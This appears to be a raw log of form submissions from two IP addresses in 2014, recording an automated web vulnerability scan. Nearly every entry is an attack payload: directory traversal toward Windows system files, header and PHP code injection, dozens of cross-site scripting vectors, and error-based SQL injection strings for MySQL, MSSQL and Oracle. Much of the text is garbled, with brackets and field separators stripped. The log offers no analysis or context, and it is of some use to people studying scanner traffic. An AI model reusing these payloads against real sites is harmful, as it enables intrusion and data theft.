hacker2014-8-14 23:50:18123.125.160.216/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini 
88888
hacker2014-8-14 23:50:18123.125.160.216C:\windows\win.ini 
88888
hacker2014-8-14 23:50:19123.125.160.216..\..\..\..\..\..\..\..\boot.ini 
88888
hacker2014-8-14 23:50:19123.125.160.216..\..\..\..\..\..\..\..\windows\win.ini 
88888
hacker2014-8-14 23:50:20123.125.160.216../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 
88888
hacker2014-8-14 23:50:20123.125.160.216../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini 
88888
hacker2014-8-14 23:50:21123.125.160.216../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 
88888
hacker2014-8-14 23:50:21123.125.160.216../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini 
88888
hacker2014-8-14 23:50:22123.125.160.216................windows/win.ini 
88888
hacker2014-8-14 23:50:23123.125.160.216..\..\..\..\..\..\..\..\windows\win.ini 
88888
hacker2014-8-14 23:50:24123.125.160.216|..\..\..\..\..\..\..\..\windows\win.ini 
88888
hacker2014-8-14 23:50:25123.125.160.216../../../../../../../../boot.ini 
88888
hacker2014-8-14 23:50:25123.125.160.216../../../../../../../../windows/win.ini 
88888
hacker2014-8-14 23:50:26123.125.160.216../../../../../../../../windows/win.ini 
88888
hacker2014-8-14 23:50:26123.125.160.216file:///c:/boot.ini 
88888
hacker2014-8-14 23:50:27123.125.160.216file:///c:/windows/win.ini 
88888
hacker2014-8-14 23:50:27123.125.160.216http://some-inexistent-website.com/some_inexistent_file_with_lg_name 
88888
hacker2014-8-14 23:50:27123.125.160.216/some_inexistent_file_with_lg_name 
88888
hacker2014-8-14 23:50:28123.125.160.216 SomeCustomInjectedHeader:injected_by_wvs 
88888
hacker2014-8-14 23:50:29123.125.160.216 SomeCustomInjectedHeader:injected_by_wvs 
88888
hacker2014-8-14 23:50:29123.125.160.216 SomeCustomInjectedHeader:injected_by_wvs 
88888
hacker2014-8-14 23:50:29123.125.160.216dir 
88888
hacker2014-8-14 23:50:30123.125.160.216dir 
88888
hacker2014-8-14 23:50:33123.125.160.216http://oxoxoxoxoxoxox.com 
88888
hacker2014-8-14 23:50:33123.125.160.216oxoxoxoxoxoxox.com 
88888
hacker2014-8-14 23:50:35123.125.160.216+/v9 +ADw-script+AD4-alert(1)+ADw-/script+AD4- 
88888
hacker2014-8-14 23:50:36123.125.160.216print(md5(1122))# 
88888
hacker2014-8-14 23:50:36123.125.160.216)print(md5(1122))// 
88888
hacker2014-8-14 23:50:37123.125.160.216${@print(md5(1122))} 
88888
hacker2014-8-14 23:50:37123.125.160.216data:text/plain,?php print(md5(1122))? 
88888
hacker2014-8-14 23:50:38123.125.160.216phpinfo 
88888
hacker2014-8-14 23:50:39123.125.160.21688888 
88888scriptalert(42873)/script
hacker2014-8-14 23:50:39123.125.160.21688888 
88888img src1 erroralert(42873)
hacker2014-8-14 23:50:39123.125.160.21688888 
88888div stylewidth:expressi(alert(42873))
hacker2014-8-14 23:50:40123.125.160.21688888 
88888script srchttp://xxooxxoo.js/script
hacker2014-8-14 23:50:40123.125.160.21688888 
88888+/v9 +ADw-script+AD4-alert(1)+ADw-/script+AD4-
hacker2014-8-14 23:50:41123.125.160.21688888 
88888" mousemovealert(42873) wb"
hacker2014-8-14 23:50:41123.125.160.21688888 
88888
hacker2014-8-14 23:50:42123.125.160.21688888 
88888a href#106#97#118#97#115#99#114#105#112#116#58#97#108#101#114#116#40#49#50#51#52#53#41TEST/a
hacker2014-8-14 23:50:44123.125.160.21688888 
88888" mousemovealert(42873)wb"
hacker2014-8-14 23:50:45123.125.160.21688888 
88888
hacker2014-8-14 23:50:45123.125.160.21688888 
88888" mouseoverprompt(42873) bad"
hacker2014-8-14 23:50:45123.125.160.21688888 
88888iframe SRCjavascript:alert(42873)
hacker2014-8-14 23:50:46123.125.160.21688888 
88888body ONLOADalert(42873)
hacker2014-8-14 23:50:46123.125.160.21688888 
88888object datadata:text/htmlbase64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4
hacker2014-8-14 23:50:47123.125.160.21688888 
88888EMBED SRCjavascript:alert(42873)/EMBED
hacker2014-8-14 23:50:47123.125.160.21688888 
88888BASE HREF"javascript:alert(42873)//"
hacker2014-8-14 23:50:48123.125.160.21688888 
88888
hacker2014-8-14 23:50:49123.125.160.21688888 
8888827
hacker2014-8-14 23:50:50123.125.160.21688888 
88888
hacker2014-8-14 23:50:50123.125.160.21688888 
88888\
hacker2014-8-14 23:50:50123.125.160.21688888 
88888\"
hacker2014-8-14 23:50:51123.125.160.21688888 
88888JyI
hacker2014-8-14 23:50:52123.125.160.21688888 
88888"
hacker2014-8-14 23:50:52123.125.160.21688888 
88888?
hacker2014-8-14 23:50:53123.125.160.21688888 
88888"
hacker2014-8-14 23:50:53123.125.160.21688888 
88888/
hacker2014-8-14 23:50:53123.125.160.21688888 
88888alert(42873)
hacker2014-8-14 23:50:54123.125.160.21688888 
../../../../../../../../boot.ini
hacker2014-8-14 23:50:54123.125.160.21688888 
../../../../../../../../windows/win.ini
hacker2014-8-14 23:50:54123.125.160.21688888 
../../../../../../../../boot.ini
hacker2014-8-14 23:50:54123.125.160.21688888 
../../../../../../../../windows/win.ini
hacker2014-8-14 23:50:55123.125.160.21688888 
boot.ini
hacker2014-8-14 23:50:55123.125.160.21688888 
windows/win.ini
hacker2014-8-14 23:50:55123.125.160.21688888 
../../../../../../../../boot.ini
hacker2014-8-14 23:50:56123.125.160.21688888 
../../../../../../../../windows/win.ini
hacker2014-8-14 23:50:56123.125.160.21688888 
../../../../../../../../boot.ini
hacker2014-8-14 23:50:56123.125.160.21688888 
../../../../../../../../windows/win.ini
hacker2014-8-14 23:50:57123.125.160.21688888 
/.\\./.\\./.\\./.\\./.\\./.\\./boot.ini
hacker2014-8-14 23:50:57123.125.160.21688888 
/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini
hacker2014-8-14 23:50:58123.125.160.21688888 
C:\windows\win.ini
hacker2014-8-14 23:50:58123.125.160.21688888 
..\..\..\..\..\..\..\..\boot.ini
hacker2014-8-14 23:50:58123.125.160.21688888 
..\..\..\..\..\..\..\..\windows\win.ini
hacker2014-8-14 23:50:58123.125.160.21688888 
../..//../..//../..//../..//../..//../..//../..//../..//boot.ini
hacker2014-8-14 23:50:59123.125.160.21688888 
../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini
hacker2014-8-14 23:50:59123.125.160.21688888 
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini
hacker2014-8-14 23:50:59123.125.160.21688888 
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini
hacker2014-8-14 23:51:00123.125.160.21688888 
................windows/win.ini
hacker2014-8-14 23:51:00123.125.160.21688888 
..\..\..\..\..\..\..\..\windows\win.ini
hacker2014-8-14 23:51:00123.125.160.21688888 
|..\..\..\..\..\..\..\..\windows\win.ini
hacker2014-8-14 23:51:00123.125.160.21688888 
../../../../../../../../boot.ini
hacker2014-8-14 23:51:01123.125.160.21688888 
../../../../../../../../windows/win.ini
hacker2014-8-14 23:51:01123.125.160.21688888 
../../../../../../../../windows/win.ini
hacker2014-8-14 23:51:01123.125.160.21688888 
file:///c:/boot.ini
hacker2014-8-14 23:51:02123.125.160.21688888 
file:///c:/windows/win.ini
hacker2014-8-14 23:51:02123.125.160.21688888 
http://some-inexistent-website.com/some_inexistent_file_with_lg_name
hacker2014-8-14 23:51:02123.125.160.21688888 
/some_inexistent_file_with_lg_name
hacker2014-8-14 23:51:02123.125.160.21688888 
SomeCustomInjectedHeader:injected_by_wvs
hacker2014-8-14 23:51:02123.125.160.21688888 
SomeCustomInjectedHeader:injected_by_wvs
hacker2014-8-14 23:51:03123.125.160.21688888 
SomeCustomInjectedHeader:injected_by_wvs
hacker2014-8-14 23:51:03123.125.160.21688888 
dir
hacker2014-8-14 23:51:03123.125.160.21688888 
dir
hacker2014-8-14 23:51:04123.125.160.21688888 
http://oxoxoxoxoxoxox.com
hacker2014-8-14 23:51:06123.125.160.21688888 
oxoxoxoxoxoxox.com
hackerscriptalert(42873)/script2014-8-14 23:51:06123.125.160.21688888 
88888
hacker2014-8-14 23:51:06123.125.160.21688888 
+/v9 +ADw-script+AD4-alert(1)+ADw-/script+AD4-
hacker2014-8-14 23:51:07123.125.160.21688888 
print(md5(1122))#
hacker2014-8-14 23:51:07123.125.160.21688888 
)print(md5(1122))//
hacker2014-8-14 23:51:07123.125.160.21688888 
${@print(md5(1122))}
hacker2014-8-14 23:51:08123.125.160.21688888 
data:text/plain,?php print(md5(1122))?
hacker2014-8-14 23:51:08123.125.160.21688888 
phpinfo
hacker2014-8-14 23:51:11123.125.160.21688888 
88888
hacker272014-8-14 23:51:11123.125.160.21688888 
88888
hacker2014-8-14 23:51:11123.125.160.21688888 
88888
hacker\2014-8-14 23:51:12123.125.160.21688888 
88888
hacker\"2014-8-14 23:51:12123.125.160.21688888 
88888
hackerJyI2014-8-14 23:51:12123.125.160.21688888 
88888
hacker"2014-8-14 23:51:13123.125.160.21688888 
88888
hacker2014-8-14 23:51:13123.125.160.21688888 
88888
hacker?2014-8-14 23:51:13123.125.160.21688888 
88888
hacker"2014-8-14 23:51:13123.125.160.21688888 
88888
hacker/2014-8-14 23:51:13123.125.160.21688888 
88888
hackeralert(42873)2014-8-14 23:51:13123.125.160.21688888 
88888
/some_inexistent_file_with_lg_name2014-8-14 23:51:20123.125.160.21688888 
88888
SomeCustomInjectedHeader:injected_by_wvs2014-8-14 23:51:20123.125.160.21688888 
88888
SomeCustomInjectedHeader:injected_by_wvs2014-8-14 23:51:21123.125.160.21688888 
88888
SomeCustomInjectedHeader:injected_by_wvs2014-8-14 23:51:21123.125.160.21688888 
88888
dir2014-8-14 23:51:21123.125.160.21688888 
88888
dir2014-8-14 23:51:21123.125.160.21688888 
88888
hacker2014-8-14 23:51:31123.125.160.21688888 
88888
hacker2014-9-18 0:13:10182.118.33.688888 
88888
hacker2014-9-18 0:13:17182.118.33.688888 
88888
hacker2014-9-18 0:13:17182.118.33.688888 
88888
hacker2014-9-18 0:13:30182.118.33.688888 
88888
hacker2014-9-18 0:13:32182.118.33.6 
88888
hacker2014-9-18 0:13:33182.118.33.6 
88888
hacker2014-9-18 0:13:34182.118.33.6 
88888
hacker2014-9-18 0:13:35182.118.33.688888 
88888
hacker2014-9-18 0:13:35182.118.33.6 
88888
hacker2014-9-18 0:13:35182.118.33.688888 
88888
hacker2014-9-18 0:13:36182.118.33.6 
88888
hacker2014-9-18 0:13:36182.118.33.688888 
88888
hacker2014-9-18 0:13:37182.118.33.6 
88888
hacker2014-9-18 0:13:38182.118.33.688888 
88888 AND(SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT (SELECT CONCAT(0x5e5e5e,unhex(Hex(cast(database() as char))),0x5e5e5e)) FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1),floor(r(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) AND 11
hacker2014-9-18 0:13:39182.118.33.6 
88888
hacker2014-9-18 0:13:41182.118.33.6 
88888
hacker2014-9-18 0:13:42182.118.33.688888 AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) # 
88888
hacker2014-9-18 0:13:43182.118.33.688888 AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) # 
88888
hacker2014-9-18 0:13:45182.118.33.688888 AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) # 
88888
hacker2014-9-18 0:13:46182.118.33.688888 
88888 AND(SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT (SELECT CONCAT(0x5e5e5e,unhex(Hex(cast(database() as char))),0x5e5e5e)) FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1),floor(r(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) AND 11
hacker2014-9-18 0:13:46182.118.33.688888) AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) # 
88888
hacker2014-9-18 0:13:47182.118.33.688888 
88888 AND(SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT (SELECT CONCAT(0x5e5e5e,unhex(Hex(cast(database() as char))),0x5e5e5e)) FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1),floor(r(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) AND
hacker2014-9-18 0:13:48182.118.33.688888) AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) # 
88888
hacker2014-9-18 0:13:48182.118.33.688888 
88888 AND(SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT (SELECT CONCAT(0x5e5e5e,unhex(Hex(cast(database() as char))),0x5e5e5e)) FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1),floor(r(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) AND
hacker2014-9-18 0:13:49182.118.33.688888 AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) 23 
88888
hacker2014-9-18 0:13:49182.118.33.688888 
88888) AND(SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT (SELECT CONCAT(0x5e5e5e,unhex(Hex(cast(database() as char))),0x5e5e5e)) FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1),floor(r(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) #
hacker2014-9-18 0:13:49182.118.33.688888 AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) 23 
88888
hacker2014-9-18 0:13:51182.118.33.688888 
88888) AND(SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT (SELECT CONCAT(0x5e5e5e,unhex(Hex(cast(database() as char))),0x5e5e5e)) FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1),floor(r(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) #
hacker2014-9-18 0:13:52182.118.33.688888 
88888 AND(SELECT 1 FROM(SELECT COUNT(*),CONCAT(1,(SELECT (SELECT CONCAT(0x5e5e5e,unhex(Hex(cast(database() as char))),0x5e5e5e)) FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1),floor(r(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) AND 11
hacker2014-9-18 0:13:52182.118.33.688888 
88888
hacker2014-9-18 0:13:53182.118.33.688888 
88888 AND(SELECT 1 FROM(SELECT COUNT(*),CONCAT(1,(SELECT (SELECT CONCAT(0x5e5e5e,unhex(Hex(cast(database() as char))),0x5e5e5e)) FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1),floor(r(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) AND 11
hacker2014-9-18 0:13:53182.118.33.688888 
88888
hacker2014-9-18 0:13:54182.118.33.688888 
88888
hacker2014-9-18 0:13:54182.118.33.688888 
88888 AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) #
hacker2014-9-18 0:13:57182.118.33.688888) AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) 23 
88888
hacker2014-9-18 0:13:59182.118.33.688888 
88888
hacker2014-9-18 0:14:01182.118.33.688888 
88888 AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) #
hacker2014-9-18 0:14:01182.118.33.688888 
88888
hacker2014-9-18 0:14:01182.118.33.688888) AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) 23 
88888
hacker2014-9-18 0:14:03182.118.33.688888 
88888 AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) #
hacker2014-9-18 0:14:04182.118.33.688888 AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) 23 
88888
hacker2014-9-18 0:14:05182.118.33.688888 AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) # 
88888
hacker2014-9-18 0:14:06182.118.33.688888 AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) # 
88888
hacker2014-9-18 0:14:07182.118.33.688888 
88888) AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) #
hacker2014-9-18 0:14:09182.118.33.688888 
88888) AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) #
hacker2014-9-18 0:14:09182.118.33.688888 AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) # 
88888
hacker2014-9-18 0:14:09182.118.33.688888 
88888 AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) 23
hacker2014-9-18 0:14:20182.118.33.688888) AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) # 
88888
hacker2014-9-18 0:14:20182.118.33.688888) AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) # 
88888
hacker2014-9-18 0:14:21182.118.33.688888 AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) 23 
88888
hacker2014-9-18 0:14:22182.118.33.688888 AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) 23 
88888
hacker2014-9-18 0:14:23182.118.33.688888 AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) 23 
88888
hacker2014-9-18 0:14:24182.118.33.688888) AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) 23 
88888
hacker2014-9-18 0:14:25182.118.33.688888) AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) 23 
88888
hacker2014-9-18 0:14:29182.118.33.688888 
88888 AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) 23
hacker2014-9-18 0:14:29182.118.33.688888 
88888) AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) 23
hacker2014-9-18 0:14:31182.118.33.688888 
88888) AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) 23
hacker2014-9-18 0:14:32182.118.33.688888 
88888 AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) 23
hacker2014-9-18 0:14:33182.118.33.688888 AND 1122CONVERT(INT,(SELECT CHAR(84)+CHAR(97)+CHAR(105)+CHAR(87)+CHAR(97)+CHAR(110)+CHAR(58)+CHAR(103)+CHAR(111)+CHAR(58)+CHAR(104)+CHAR(111)+CHAR(109)+CHAR(101))) AND  
88888
hacker2014-9-18 0:14:34182.118.33.688888 AND 1122CONVERT(INT,(SELECT CHAR(84)+CHAR(97)+CHAR(105)+CHAR(87)+CHAR(97)+CHAR(110)+CHAR(58)+CHAR(103)+CHAR(111)+CHAR(58)+CHAR(104)+CHAR(111)+CHAR(109)+CHAR(101))) AND TaTa 
88888
hacker2014-9-18 0:14:35182.118.33.688888) AND 1122CONVERT(INT,(SELECT CHAR(84)+CHAR(97)+CHAR(105)+CHAR(87)+CHAR(97)+CHAR(110)+CHAR(58)+CHAR(103)+CHAR(111)+CHAR(58)+CHAR(104)+CHAR(111)+CHAR(109)+CHAR(101))) AND (TaTa 
88888
hacker2014-9-18 0:14:36182.118.33.688888) AND 1122CONVERT(INT,(SELECT CHAR(84)+CHAR(97)+CHAR(105)+CHAR(87)+CHAR(97)+CHAR(110)+CHAR(58)+CHAR(103)+CHAR(111)+CHAR(58)+CHAR(104)+CHAR(111)+CHAR(109)+CHAR(101))) AND (20142014 
88888
hacker2014-9-18 0:14:36182.118.33.688888 AND 1122CONVERT(INT,(SELECT CHAR(84)+CHAR(97)+CHAR(105)+CHAR(87)+CHAR(97)+CHAR(110)+CHAR(58)+CHAR(103)+CHAR(111)+CHAR(58)+CHAR(104)+CHAR(111)+CHAR(109)+CHAR(101))) 
88888
hacker2014-9-18 0:14:37182.118.33.688888 AND 1CHAR(106)+CHAR(106)+CHAR(106) 
88888
hacker2014-9-18 0:14:38182.118.33.688888 AND 1CHAR(106)+CHAR(106)+CHAR(106) -- 
88888
hacker2014-9-18 0:14:39182.118.33.688888 AND 1CHAR(106)+CHAR(106)+CHAR(106) -- 
88888
hacker2014-9-18 0:14:41182.118.33.688888) AND 1CHAR(106)+CHAR(106)+CHAR(106) -- 
88888
hacker2014-9-18 0:14:42182.118.33.688888) AND 1CHAR(106)+CHAR(106)+CHAR(106) -- 
88888
hacker2014-9-18 0:14:43182.118.33.6 
88888
hacker2014-9-18 0:14:44182.118.33.6 
88888
hacker2014-9-18 0:14:45182.118.33.688888 AND 1122(SELECT UPPER(XMLType(CHR(60)||CHR(104)||CHR(107)||CHR(58)||(SELECT (CASE WHEN (11221122) THEN 1 ELSE 0 END) FROM DUAL)||CHR(58)||CHR(49)||CHR(57)||CHR(57)||CHR(55))) FROM DUAL) AND  
88888
hacker2014-9-18 0:14:52182.118.33.688888 
88888 AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) #
hacker2014-9-18 0:14:53182.118.33.688888 
88888 AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) #
hacker2014-9-18 0:14:54182.118.33.688888 
88888 AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) #
hacker2014-9-18 0:14:55182.118.33.688888 
88888) AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) #
hacker2014-9-18 0:14:55182.118.33.688888 
88888) AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) #
hacker2014-9-18 0:14:56182.118.33.6 
88888
hacker2014-9-18 0:14:57182.118.33.688888 
88888 AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) 23
hacker2014-9-18 0:14:58182.118.33.688888 AND 1122(SELECT UPPER(XMLType(CHR(60)||CHR(104)||CHR(107)||CHR(58)||(SELECT (CASE WHEN (11221122) THEN 1 ELSE 0 END) FROM DUAL)||CHR(58)||CHR(49)||CHR(57)||CHR(57)||CHR(55))) FROM DUAL) 
88888
hacker2014-9-18 0:15:00182.118.33.688888 
88888 AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) 23
hacker2014-9-18 0:15:01182.118.33.688888 
88888 AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) 23
hacker2014-9-18 0:15:01182.118.33.6 
88888
hacker2014-9-18 0:15:03182.118.33.688888 
88888) AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) 23
hacker2014-9-18 0:15:03182.118.33.6(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) 
88888
hacker2014-9-18 0:15:05182.118.33.688888 
88888) AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) 23
hacker2014-9-18 0:15:05182.118.33.6EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) 
88888
hacker2014-9-18 0:15:07182.118.33.6CONVERT(INT,(SELECT CHAR(84)+CHAR(97)+CHAR(105)+CHAR(87)+CHAR(97)+CHAR(110)+CHAR(58)+CHAR(103)+CHAR(111)+CHAR(58)+CHAR(104)+CHAR(111)+CHAR(109)+CHAR(101))) 
88888
hacker2014-9-18 0:15:07182.118.33.688888 
88888 AND 1122CONVERT(INT,(SELECT CHAR(84)+CHAR(97)+CHAR(105)+CHAR(87)+CHAR(97)+CHAR(110)+CHAR(58)+CHAR(103)+CHAR(111)+CHAR(58)+CHAR(104)+CHAR(111)+CHAR(109)+CHAR(101))) AND
hacker2014-9-18 0:15:09182.118.33.6(SELECT UPPER(XMLType(CHR(60)||CHR(104)||CHR(107)||CHR(58)||(SELECT (CASE WHEN (11221122) THEN 1 ELSE 0 END) FROM DUAL)||CHR(58)||CHR(49)||CHR(57)||CHR(57)||CHR(55))) FROM DUAL) 
88888
hacker2014-9-18 0:15:10182.118.33.688888 
88888 AND 1122CONVERT(INT,(SELECT CHAR(84)+CHAR(97)+CHAR(105)+CHAR(87)+CHAR(97)+CHAR(110)+CHAR(58)+CHAR(103)+CHAR(111)+CHAR(58)+CHAR(104)+CHAR(111)+CHAR(109)+CHAR(101))) AND TaTa
hacker2014-9-18 0:15:10182.118.33.688888 
88888
hacker2014-9-18 0:15:11182.118.33.6 
88888
hacker2014-9-18 0:15:12182.118.33.688888 
88888
hacker2014-9-18 0:15:13182.118.33.688888 
88888) AND 1122CONVERT(INT,(SELECT CHAR(84)+CHAR(97)+CHAR(105)+CHAR(87)+CHAR(97)+CHAR(110)+CHAR(58)+CHAR(103)+CHAR(111)+CHAR(58)+CHAR(104)+CHAR(111)+CHAR(109)+CHAR(101))) AND (TaTa
hacker2014-9-18 0:15:13182.118.33.688888 
88888
hacker2014-9-18 0:15:14182.118.33.688888 
88888) AND 1122CONVERT(INT,(SELECT CHAR(84)+CHAR(97)+CHAR(105)+CHAR(87)+CHAR(97)+CHAR(110)+CHAR(58)+CHAR(103)+CHAR(111)+CHAR(58)+CHAR(104)+CHAR(111)+CHAR(109)+CHAR(101))) AND (20142014
hacker2014-9-18 0:15:15182.118.33.688888 
88888 AND 1122CONVERT(INT,(SELECT CHAR(84)+CHAR(97)+CHAR(105)+CHAR(87)+CHAR(97)+CHAR(110)+CHAR(58)+CHAR(103)+CHAR(111)+CHAR(58)+CHAR(104)+CHAR(111)+CHAR(109)+CHAR(101)))
hacker2014-9-18 0:15:17182.118.33.688888 
88888 AND 1CHAR(106)+CHAR(106)+CHAR(106)
hacker2014-9-18 0:15:17182.118.33.688888 AND 3349 
88888
hacker2014-9-18 0:15:18182.118.33.688888 
88888 AND 1CHAR(106)+CHAR(106)+CHAR(106) --
hacker2014-9-18 0:15:20182.118.33.688888 AND 4545 
88888
hacker2014-9-18 0:15:22182.118.33.688888) AND 7614 AND (7676 
88888
hacker2014-9-18 0:15:24182.118.33.688888 
88888 AND 1CHAR(106)+CHAR(106)+CHAR(106) --
hacker2014-9-18 0:15:24182.118.33.688888) AND 7676 AND (7676 
88888
hacker2014-9-18 0:15:25182.118.33.688888 
88888) AND 1CHAR(106)+CHAR(106)+CHAR(106) --
hacker2014-9-18 0:15:25182.118.33.688888 OR 6565 LIMIT 100 -- 
88888
hacker2014-9-18 0:15:26182.118.33.688888 
88888) AND 1CHAR(106)+CHAR(106)+CHAR(106) --
hacker2014-9-18 0:15:26182.118.33.688888,(SELECT (CASE WHEN (2899) THEN 88888 ELSE 1/(SELECT 0) END)) 
88888
hacker2014-9-18 0:15:27182.118.33.688888,(SELECT (CASE WHEN (4242) THEN 88888 ELSE 1/(SELECT 0) END)) 
88888
hacker2014-9-18 0:15:27182.118.33.688888 
